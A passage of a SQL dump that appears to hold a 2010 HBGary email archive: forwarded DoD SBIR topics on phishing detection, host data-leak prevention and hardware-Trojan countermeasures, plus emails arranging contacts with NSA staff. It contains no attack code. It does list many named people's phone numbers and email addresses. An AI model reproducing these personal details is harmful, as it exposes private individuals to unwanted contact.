environment.\r\n\r\nOSD10-IA3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTITLE: Robust and Efficient Anti-Phishing Techniques\r\n\r\n&nbsp;TECHNOLOGY AREAS: Information Systems\r\n\r\n&nbsp;OBJECTIVE: Development of high-accuracy, low-latency automatic\r\nidentification and mitigation techniques to detect and stop phishing attacks.\r\n\r\n&nbsp;DESCRIPTION: Phishing has evolved from a nuisance into a top\r\nsecurity concern. As the number, cost, and complexity of phishing attacks\r\ncontinue to increase, robust and effective techniques are critically needed to\r\ncounter the new threats. Existing solutions such as spam filters rely heavily\r\non manually maintained blacklists of phishing websites, and are not robust at\r\ncatching phishing emails, especially spear-phishing attacks, since these\r\nattacks look just like legitimate emails. By their very nature, manually\r\nmaintained blacklists are always lagging one step behind.&nbsp; The general\r\ntask of identifying phishing emails and URLs is challenging for several\r\nreasons. The most significant of these are: (i) attacks are designed to look\r\nlegitimate (e.g. traditional bag of words methods used in many spam filters\r\ndon&#8217;t work and the same is true for phishing URLs); (ii) phishing kits\r\nhave become more sophisticated, enabling phishers to quickly launch attacks\r\nthat involve constantly changing URLs (&#8220;fast flux attacks&#8221;); (iii)\r\nsome targeted attacks are sent to a very small number of people and leverage\r\ninformation that is unique to a given organization (e.g. names of employees,\r\nseemingly legitimate email addresses, etc.); (iv) people lack the necessary\r\nsophistication and training to detect many of these attacks, thereby requiring\r\nthe help of automated solutions to fend them off; (v) hybrid attacks make\r\ndetection increasingly difficult and can be designed to explore a wide variety\r\nof vulnerabilities (e.g. DNS poisoning, bots, infected websites); (vi)\r\nsolutions need to be designed to have extremely low (near-zero) false positive\r\nrates, otherwise users are forced to manually review decisions made by filters,\r\nwhich defeats the whole purpose of deploying these filters in the first place.\r\nTo meet these challenges, more sophisticated, multi-faceted approaches&nbsp;\r\nneed to be developed to catch a higher percentage of phishing attacks (e.g.\r\nphishing emails and phishing URLs) with a near-zero false positive rate. The\r\ndesired solutions need to rapidly identify suspicious emails with a high\r\nconfidence and can selectively escalate analysis when needed. \r\n\r\n&nbsp;PHASE I: 1) Research and develop novel heuristic-based, adaptive,\r\nand intelligent solutions that can accurately identify phishing attacks\r\n(catching a high percentage of attacks) while keeping false positive rates near\r\nzero and with a low latency; 2) Demonstrate that the proposed techniques can\r\nscale to high traffic volumes and are capable of addressing a wide range of\r\nphishing attacks (e.g. emails with and without links in them)\r\n\r\n&nbsp;PHASE II: 1) Develop a working system to demonstrate its\r\neffectiveness against various types of phishing attacks on live traffic; 2) Carry\r\nout benchmarking experiments with synthetic traffic generators and information\r\nfeeds representative of actual traffic flows. Validate system effectiveness\r\nunder real operational testing.\r\n\r\n&nbsp;PHASE III -- DUAL-USE COMMERCIALIZATION:&nbsp; Effective\r\nphishing attack mitigation is a critical capability for both the military and\r\ncommercial sectors. The developed technology will be useable on both government\r\nnetworks and commercial networks. The developed system should be marketed as a\r\nproduct that can easily be deployed alongside existing legacy filters.&nbsp; \r\n\r\n&nbsp;REFERENCES: \r\n\r\n1.&nbsp;\r\nI. Fette, N. Sadeh, and A. Tomasic, Learning to Detect Phishing Emails In\r\nProceedings of the 16th International Conference on World Wide Web, Banff,\r\nAlberta, Canada, May 8-12, 2007.\r\n\r\n&nbsp;\r\n\r\n2.&nbsp;\r\nS. Abu-Nimeh, D. Nappa, X Wang, S. Nair, A comparison of machine learning\r\ntechniques for phishing detection Proceedings of the anti-phishing working\r\ngroups.\r\n\r\n&nbsp;\r\n\r\n3.&nbsp;\r\nG. L\'Huillier, R. Weber, N. Figueroa, Online phishing classification using\r\nadversarial data mining and signaling games, Proceedings of the ACM SIGKDD\r\nWorkshop on CyberSecurity and Intelligence Informatics.\r\n\r\n&nbsp;\r\n\r\n4.&nbsp;\r\nJ. Wang, R. Chen, T. Herath, H. R. Rao, 2009. &#8220;An Exploration of the\r\nDesign Features of Phishing Attacks.&#8221; In Annals of Emerging Research in\r\nIA, Security and Privacy Services, edited by H.R. Rao and Shambhu Upadhyaya.\r\nEmerald.\r\n\r\n&nbsp;\r\n\r\n5.&nbsp;\r\nY. Zhang, J. Hong, and L. Cranor, CANTINA: A content-based approach to\r\ndetecting phishing web sites. In Proceedings of the 16th International\r\nconference on World Wide Web, Banff, Alberta, Canada, May 8-12, 2007.\r\n\r\n&nbsp;\r\n\r\nTPOC:\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCliff Wang\r\n\r\nPhone:\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n919-549-4207\r\n\r\nFax:\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n919-549-4248\r\n\r\nEmail:\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\ncliff.wang@us.army.mil \r\n\r\n2nd\r\nTPOC:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Roger\r\nCannon\r\n\r\nPhone:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n919-549-4278\r\n\r\nFax:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n919-549-4310\r\n\r\nEmail:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nroger.k.cannon@us.army.mil\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6106,'aaron_hbgary_com/6106.html'),(5573,'2010-04-22','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004053.M781652P14101Q429.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','SBIR for host security and data leakage','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\nOSD10-IA4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTITLE: Preventing Sensitive Information and Malicious Traffic from Leaving\r\nComputers\r\n\r\n&nbsp;TECHNOLOGY AREAS: Information Systems\r\n\r\n&nbsp;OBJECTIVE:&nbsp; Research and development of real-time,\r\nautomatic identification and mitigation techniques to detect and stop\r\nunauthorized information leaking as well as unwanted and malicious traffic\r\nemanating from a computer at all time and locations. New techniques and\r\nimplementations are needed to monitor applications and user activities on a\r\ncomputer to detect and stop outgoing data and traffic that is not intended or\r\nauthorized by the user or security policies. \r\n\r\n&nbsp;DESCRIPTION: Malicious software on compromised computers,\r\ne.g., spyware, botnets, Remote Administration Trojans, key loggers,\r\npeer-to-peer file sharing, remote monitoring and control software constitute\r\nserious threats to DoD systems because they run inside DoD networks collecting\r\ninformation, and then surreptitiously send information out. Network security\r\nappliances (such as a network intrusion detection system) that focus on traffic\r\nanalysis provide limited help to detect and stop information leaking and malicious\r\ntraffic from compromised computers. Distinguishing human- vs. malware-\r\ngenerated data from a network traffic analysis perspective is extremely\r\nchallenging. Current anti-spyware and anti-virus systems have a large\r\ncapability gap in finding and stopping spyware and other malicious software\r\nrunning on computers, especially when malware can get into the operating system\r\nkernel and disable these on-host security systems. Robust, accurate, and\r\nefficient monitoring of applications and user activities on a computer,\r\nparticularly actions that relate to outgoing data and traffic, is a promising\r\napproach to ensure that data and traffic leaving a computer is indeed\r\nauthorized by security policies. The general task of identifying and stopping\r\nunintended and unauthorized traffic is challenging for several reasons.&nbsp;\r\nFirst, for the monitoring system to be effective and practical, it must be\r\nrobust and efficient, cannot be disabled by malware, and with no/low noticeable\r\nperformance overhead. Second, current virtual machine technologies are\r\n&#8220;heavyweight&#8221; thus a light weight approach is desired. Third,\r\nprecisely identifying applications and user events related to outgoing data and\r\ntraffic and ensuring that the observations are not forgeable require accurate\r\nunderstanding of application semantics, memory analysis, and handling of\r\nhardware events in a very efficient manner. To address these challenges, new\r\narchitecture that can combine the benefits of both out-of-VM and in-VM\r\nmonitoring approaches, systems that comes with lightweight, transparent\r\nhypervisor, and techniques that can precisely and securely identify user\r\nactions and application activities and data are highly desired. This will\r\nmitigate common problems that current techniques have: the monitoring system\r\ncould be disabled by malware, user events or data could be forged by malware,\r\nor monitoring is too slow for the system to be practical.\r\n\r\n&nbsp;PHASE I: 1) Research and develop an architecture that can\r\ncombine the benefits of both out-of-VM and in-VM monitoring approaches and new\r\ntechniques for accurate and efficient understanding of application semantics,\r\nmemory analysis, and handling of hardware events. 2) Demonstrate the proposed\r\narchitecture and techniques with a typical computer (e.g., Intel/AMD hardware)\r\nand software configurations (e.g., commodity operating systems and\r\napplications).\r\n\r\n&nbsp;PHASE II: 1) Develop a working system that can in real-time\r\nautomatically stop unintended or unauthorized outgoing data and traffic, while\r\nproducing no false alarms, when tested live with a user/computer. 2) Carry out\r\ncomprehensive benchmarking experiments using representative usage scenarios of\r\nvarying application programs and malicious software and demonstrate the\r\nadvantages of this approach by comparing against existing tools and techniques.\r\n\r\n&nbsp;PHASE III/DUAL USE COMMERCIALIZATION: Effective (host)\r\ncomputer security, in particular, information leaking mitigation is a critical\r\ncapability for both the military and commercial sectors. The developed\r\ntechnology will secure both military and civilian computers. The new monitoring\r\nsystem should be marketed as a standalone product or can be licensed to a third\r\nparty.\r\n\r\n&nbsp;REFERENCE:\r\n\r\n1. W. Cui, R. H.\r\nKatz, and W. tian Tan. Design and Implementation of an Extrusion-based Break-In\r\nDetector for Personal Computers. In Proceedings of the Annual Computer Security\r\nApplications Conference (ACSAC), 2005.\r\n\r\n&nbsp;2. R. Gummadi,\r\nH. Balakrishnan, P. Maniatis, and S. Ratnasamy. Not-a-Bot (NAB): Improving\r\nService Availability in the Face of Botnet Attacks. In Proceedings of the\r\nUSENIX Symposium on Networked Systems Design and Implementation (NSDI), 2009.\r\n\r\n&nbsp;3. Monirul\r\nSharif, Wenke Lee, Weidong Cui, and Andrea Lanzi. Secure In-VM Monitoring Using\r\nHardware Virtualization. In Proceedings of The 16th ACM Conference on Computer\r\nand Communications Security (CCS 2009), Chicago, IL, November, 2009.\r\n\r\n&nbsp;KEYWORDS: Secure OS, data exfiltration prevention, virtual\r\nmachine monitoring,\r\n\r\n&nbsp;TPOC:\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCliff Wang \r\n\r\nPhone:\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n919-549-4207\r\n\r\nFax:\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n919-549-4248\r\n\r\nEmail:\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\ncliff.wang@us.army.mil\r\n\r\n2nd\r\nTPOC:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Roger\r\nCannon\r\n\r\nPhone:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n919-549-4278\r\n\r\nFax:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n919-549-4310\r\n\r\nEmail:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nroger.k.cannon@us.army.mil\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8484,'aaron_hbgary_com/8484.html');
INSERT INTO `emails` VALUES (5574,'2010-04-22','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004053.M79087P14101Q426.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','New SBIR topic','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nAny interest in this SBIR topic.&nbsp; Might be interesting\r\nfor HBGary Fed to prime it and bring in Xetron as a sub.&nbsp; Phase I is only\r\n$100k, but Phase II is $750k.\r\n\r\nOSD10-IA1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTITLE: Countermeasures to Malicious Hardware to Improve Software Protection Systems\r\n\r\n&nbsp;TECHNOLOGY AREAS: Information Systems\r\n\r\n&nbsp;OBJECTIVE:&nbsp; Develop innovative countermeasures to\r\nmalicious hardware modifications for the purposes of developing trusted\r\nsoftware protection systems. \r\n\r\n&nbsp;DESCRIPTION:&nbsp; Software protection system design\r\nmethodology has focused on reducing the vulnerabilities of those systems to\r\nattack by reducing the dependence on untrusted components and making critical\r\ninformation inaccessible to the adversary [1].&nbsp; These protection systems\r\nrun primarily on commercial-off-the-shelf (COTS) computers, but often rely on\r\ntamper-proof hardware built using COTS parts to provide a secure mechanism to\r\nstore critical data and/or execute critical pieces of the application being\r\nprotected [2].&nbsp; However, the security of the protection system depends on\r\nthe trustworthiness of the underlying hardware components that are running and\r\nstoring the software and data.&nbsp; These components include the parts on COTS\r\ncomputer systems on which the applications execute (or partially execute) as\r\nwell as the COTS parts from which custom hardware-assisted protection solutions\r\nare built [2].\r\n\r\n&nbsp;National security concerns have been raised over the\r\noutsourcing of chip fabrication and other integrated circuit manufacturing\r\noverseas, since these devices are used in DoD weapon systems.&nbsp; The risk is\r\nthat if an adversary can maliciously alter hardware and/or firmware on printed\r\ncircuit boards, integrated circuits, or reconfigurable components used in DoD\r\nsystems, the device functionality can be altered, privileges escalated,\r\ncritical data leaked, or denial-of-service attacks levied on the system at a\r\nlater date and time when those systems are operational [3].&nbsp; To add to the\r\nrisk, hardware can be altered at other stages in the systems engineering\r\nprocess, including design, manufacturing, packaging, integration, and\r\ndeployment, through the use of third party software/firmware tools used to\r\nprogram the devices or via direct hardware modifications, even within the\r\nUnited States.\r\n\r\n&nbsp;&nbsp; The goal of this research is to design and develop\r\nnon-destructive techniques that detect and respond to malicious\r\nhardware/firmware modifications that are made for the purposes of software\r\npiracy/data exfiltration, reverse engineering, and malicious alteration of\r\ncritical software applications and data running on COTS systems or whose\r\nsecurity system utilizes COTS parts [2].&nbsp; Solutions of interest include\r\ndeveloping countermeasures to hardware Trojans introduced in COTS computer\r\nhardware elements (e.g., CPU, chipsets, motherboards, hard disk drives,\r\nperipheral cards) [4], as well as attached custom hardware boards or components\r\n(such as an FPGA or ASIC) [5] that might be used as part of a hardware-assisted\r\nsoftware protection system [2].\r\n\r\n&nbsp;Malicious hardware to be considered includes\r\n&#8216;functional&#8217; Trojans that add malicious circuitry to hardware\r\ncomponents [6], &#8216;parametric&#8217; Trojans that modify (but do not add\r\nto) the original circuitry [7], and firmware Trojans that alter the hardware\r\ndevice functionality [8]. Hardware/firmware Trojan triggering mechanisms to be\r\naddressed include internally and externally activated signals, such as (1) rare\r\ninput data values, (2) time triggering, (3) internal logic state, and (4)\r\nexternal sensors.\r\n\r\n&nbsp;Factors to consider in countermeasure development [9] [10]\r\ninclude, but are not limited to, (1) invasiveness of the approach, (2) false\r\npositive and false negative rates, (3) types of Trojans detected, (4) ability\r\nto detect small Trojans, (5) performance of the detection procedure and the\r\nimpact on the protected application, and (6) cost.\r\n\r\n&nbsp;PHASE I:&nbsp; 1) Develop a concept to detect and respond to\r\nmalicious hardware/firmware modifications to COTS parts and systems.&nbsp; 2)\r\nResearch the advantages and disadvantages of the approach (considering the\r\nfactors stated above).&nbsp; 3) Produce a detailed research report outlining\r\nthe design and architecture of the system, as well as the advantages and disadvantages\r\nof the proposed approach.\r\n\r\n&nbsp;PHASE II: 1) Based on the results from Phase I, design and\r\nimplement a fully functioning prototype solution.&nbsp; 2) Emulate a hardware\r\nTrojan on a COTS part and demonstrate its effectiveness in compromising a\r\nsoftware protection system.&nbsp; 3) Provide test and evaluation results that\r\ndemonstrate the effectiveness of the solution to detect and react to the\r\nhardware Trojan demonstrated in 2).&nbsp; 4) Develop a final report enumerating\r\nthe specific threats addressed and countermeasures developed in the prototype\r\nsolution.&nbsp;\r\n\r\nPHASE III DUAL-USE APPLICATIONS:&nbsp; The technology developed\r\nunder this research topic will mitigate the risk of malicious hardware and\r\nimprove the trustworthiness of software protection systems.&nbsp; DoD\r\napplications that will benefit from this technology include a wide range of\r\nembedded systems, such as weapons systems, avionics, communications, and sensor\r\nsystems.&nbsp; Commercial applications include financial systems, voting\r\nmachines, communication systems, and SCADA systems.&nbsp; As a result, this\r\ntechnology is vital for both the DoD and commercial organizations.\r\n\r\n&nbsp;REFERENCES:\r\n\r\n[1]\r\nSoftware Protection Initiative, The Three Tenets of Cyber Security,\r\nhttp://spi.dod.mil/tenets.htm\r\n\r\n&nbsp;\r\n\r\n[2]\r\nIBM 476 PCI-X Cryptographic Coprocessor,\r\nhttp://www-03.ibm.com/security/cryptocards/pcixcc/overhardware.shtml\r\n\r\n&nbsp;\r\n\r\n[3]\r\nFouad Kiamilev, et. al., &#8220;Demonstration of Hardware Trojans,&#8221;\r\nCVORG, University of Delaware,\r\nhttp://www.defcon.org/images/defcon-16/dc16-presentations/defcon-16-kiamilev.pdf\r\n\r\n&nbsp;\r\n\r\n[4]\r\nLoic DuFlot, &#8220;CPU bugs, CPU backdoors and consequences on\r\nsecurity,&#8221; Journal in Computer Virology, Vol. 5, No. 2, May 2009, 91-104.\r\n\r\n&nbsp;\r\n\r\n[5]\r\nIlija Hadzic, Sanjay Udani and Jonathan M. Smith, &#8220;FPGA Viruses,&#8221;\r\nhttp://www.cis.upenn.edu/~jms/papers/fpgavirus.pdf\r\n\r\n&nbsp;\r\n\r\n[6]\r\nFrancis Wolff, Chris Papachristou, Swarup Bhunia, Rajat S. Chakraborty,\r\n&#8220;Towards Trojan-Free Trusted ICs: Problem Analysis and Detection\r\nScheme,&#8221; Case Western Reserve University,\r\nhttp://www.date-conference.com/archive/conference/proceedings/PAPERS/2008/DATE08/PDFFILES/IP5_2.PDF\r\n\r\n&nbsp;\r\n\r\n[7]\r\nY. Shiyanovskii, F. Wolff, C. Papachristou, D. Weyer, and W. Clay,\r\n&#8220;Hardware Trojan by Hot Carrier Injection,&#8221;\r\nhttp://arxiv.org/PS_cache/arxiv/pdf/0906/0906.3832v1.pdf\r\n\r\n&nbsp;\r\n\r\n[8]\r\nSamuel T. King, Joseph Tucek, Anthony Cozzie, Chris Grier, Weihang Jiang, and\r\nYuanyuan Zhou, &#8220;Designing and implementing malicious hardware,&#8221;\r\nhttp://www.cs.uiuc.edu/homes/kingst/Research_files/king08.pdf\r\n\r\n&nbsp;\r\n\r\n[9]\r\nBenjamin Sanno, &#8220;Detecting Hardware Trojans,&#8221; Ruhr-University\r\nBochum, Germany,\r\nhttp://www.crypto.ruhr-uni-bochum.de/imperia/md/content/seminare/itsss09/benjamin_sanno.semembsec_termpaper_20090723_final.pdf\r\n\r\n&nbsp;\r\n\r\n[10]\r\nMarkus Kuhn, &#8220;Trojan Hardware &#8211; some strategies and\r\ndefenses,&#8221; University of Cambridge, http://www.cl.cam.ac.uk/~mgk25/dagstuhl08-hwtrojan.pdf\r\n\r\n&nbsp;\r\n\r\nKEYWORDS: Malicious Hardware, Hardware Trojans, Firmware Trojans,\r\nFPGA viruses, Software Protection, Hardware Supply Chain\r\n\r\n&nbsp;\r\n\r\nTPOC:\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDavid A. Kapp\r\n\r\nPhone:\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n(937) 320-9068 ext. 130\r\n\r\nFax:\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n\r\nEmail:\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDavid.Kapp@wpafb.af.mil \r\n\r\n2nd TPOC:\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Christopher E.\r\nReuter\r\n\r\nPhone:\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n(937) 320-9068 ext. 113\r\n\r\nFax: \r\n\r\nEmail:\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nChristopher.Reuter@wpafb.af.mil\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp;\r\nHBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6997,'aaron_hbgary_com/6997.html'),(5575,'2010-04-22','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004053.M992978P14101Q430.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','More SBIR topics','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nYou might find other topics at this link interesting.&nbsp; My\r\nthinking is that some of them could leverage link analysis from Palantir.\r\n\r\nhttp://www.dodsbir.net/solicitation/sbir102/OSD102.htm\r\n\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3145,'aaron_hbgary_com/3145.html'),(5576,'2010-04-22','\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>','/aaron@hbgary.com/new/1297004054.M219222P14101Q431.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Nathaniel I. Gray\" <ngray@dewnet.ncsc.mil>,\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','RE: Introductions related to your interest in HBGary REcon for malware analysis','Bob,\r\n\r\nI talked to Phil Wallisch in class yesterday about this very same thing.\r\nAll three of us have the same use case, although NTOC may be more interested\r\nin performing the detailed analysis on a more regular basis.  We can discuss\r\nrequirements for this effort off-line.\r\n\r\nThanks,\r\n\r\nScott K. Brown\r\nTechnical Director\r\nNSA Blue Team\r\n(410) 854-6529\r\nsbrown@dewnet.ncsc.mil\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Bob Slapnik [mailto:bob@hbgary.com] \r\nSent: Tuesday, April 20, 2010 9:48 AM\r\nTo: Nathaniel I. Gray; \'Aaron Barr\'\r\nCc: Parkes, Harley (CORP); Scott K. Brown\r\nSubject: Introductions related to your interest in HBGary REcon for malware\r\nanalysis\r\n\r\nNathaniel and Aaron,\r\n\r\n \r\n\r\nThe purpose of this email is to introduce you to each other.  Nathaniel, you\r\nare interested in HBGary\'s REcon for high volume malware runtime analysis.\r\nAaron, you have been communicating with ANO and NTOC/V22 about the same\r\nsubject.  So, there are 3 NSA organizations interested in HBGary\'s high\r\nvolume malware runtime analysis.\r\n\r\n \r\n\r\nTo simplify lines of communications I\'ve requested that Aaron Barr be the\r\npoint man from our side.  Aaron is the CEO of HBGary Federal, a sister\r\norganization that focuses on Government services work, classified work and\r\nspecial projects.\r\n\r\n \r\n\r\nI will continue to be involved as the HBGary, Inc. representative.\r\n\r\n \r\n\r\nCONTACT INFO:\r\n\r\nNathaniel Gray / (410) 854-9014 / Mobile (206) 491-2255\r\n/ngray@dewnet.ncsc.mil\r\n\r\nAaron Barr / 719-510-8478 / aaron@hbgary.com \r\n\r\n \r\n\r\nPlease let me know if you have any questions or need additional info.\r\n\r\n \r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419\r\n\r\nwww.hbgary.com  |  bob@hbgary.com\r\n\r\n \r\n\r\n',5374,'aaron_hbgary_com/5374.html'),(5577,'2010-04-22','\"Bailey, Don\" <dbailey@BlackbirdTech.com>','/aaron@hbgary.com/new/1297004054.M496568P14101Q432.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Good morning','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGood morning Aaron.&nbsp; Can you give me Penny&#8217;s phone number? &nbsp;I was dicking around with my phone&#8217;s software last week trying to demonstrate a hack and inadvertently\r\n did a system hard reset and lost all my contacts (face/palm). &nbsp;I need to ask her something about the investment stuff.\r\n&nbsp;\r\nThanks,\r\n&nbsp;\r\nDon\r\n&nbsp;\r\nDon Bailey\r\nBlackbird Technologies, PDG\r\n703.345.1304 office\r\n703.582.1277 cell\r\ndbailey@blackbirdtech.com\r\n&nbsp;\r\n\r\n\r\n\r\n',5699,'aaron_hbgary_com/5699.html'),(5578,'2010-04-22','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004054.M731952P14101Q433.eml','\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>,\"Nathaniel I. Gray\" <ngray@dewnet.ncsc.mil>,\"Aaron Barr\" <aaron@hbgary.com>,\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>','RE: Introductions related to your interest in HBGary REcon for malware analysis','Scott,\r\n\r\nAaron expects there to be a briefing and demo at the Fort on Friday, 